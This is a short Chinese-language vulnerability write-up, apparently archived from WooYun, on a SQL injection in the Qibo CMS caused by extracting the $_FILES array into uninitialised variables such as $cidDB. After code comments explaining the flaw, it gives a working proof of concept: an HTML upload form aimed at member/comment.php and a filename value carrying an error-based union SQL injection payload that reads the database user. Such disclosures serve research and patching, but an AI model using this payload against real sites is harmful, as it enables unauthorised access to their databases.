漏洞url:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-096990.html
摘要
if(!ini_get('register_globals')){ @extract($_FILES,EXTR_SKIP);//这里是漏洞点。 //可以看到上面的判断条件是 判断register globals 是不是开启的。 // 如果是关闭的 才会进入。 注意是关闭 不是开启哦。。 // regitser globals这个不用多说 从php 4.2开始默认都是off的 // 基本都是关闭的 曾经提交漏洞 因为需要register globals on 所以被未通过。 // 当是off的时候 extract来把_FILES里的读取出来 用了EXTR_SKIP参数 // 所以不能覆盖之前存在的变量 但是qibo是伪全局 所以我们可以找一个未初始化的 // _FILES extract出来后 还是一个数组 所以找一个把数组循环出来的 // 因为_FILES数组里的key是我们不可控制的把, 但是一些value可以控制 例如name }
因为齐博的变量传入都是模拟了一个类似全局变量,只过滤了gpc,但是files没有过滤,齐博也获取了files变量,所以可以通过files绕过全局过滤,然后雨牛就找了个没有定义或初始化的变量,也就是下文中$cidDB,通过文件寻找关键字。
发现$cidDB作为数组循环他的value的值,并且带入了sql的查询,所以可以注入.
poc:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>yzmm - p2j.cn</title>
</head>
<body>
<form action="http://172.16.220.169/v7_gbk/member/comment.php?job=yz" method="POST" enctype="multipart/form-data">
ID:<input type="file" name="cidDB" value="aa" style="250px;" / ><br/>
<input type="submit" value="提交" />
</form>
</body>
</html>
需要抓包,把filename的值改成22' and 1=2 union select exp(~(select * FROM(SELECT USER())a))#就能查询出数据。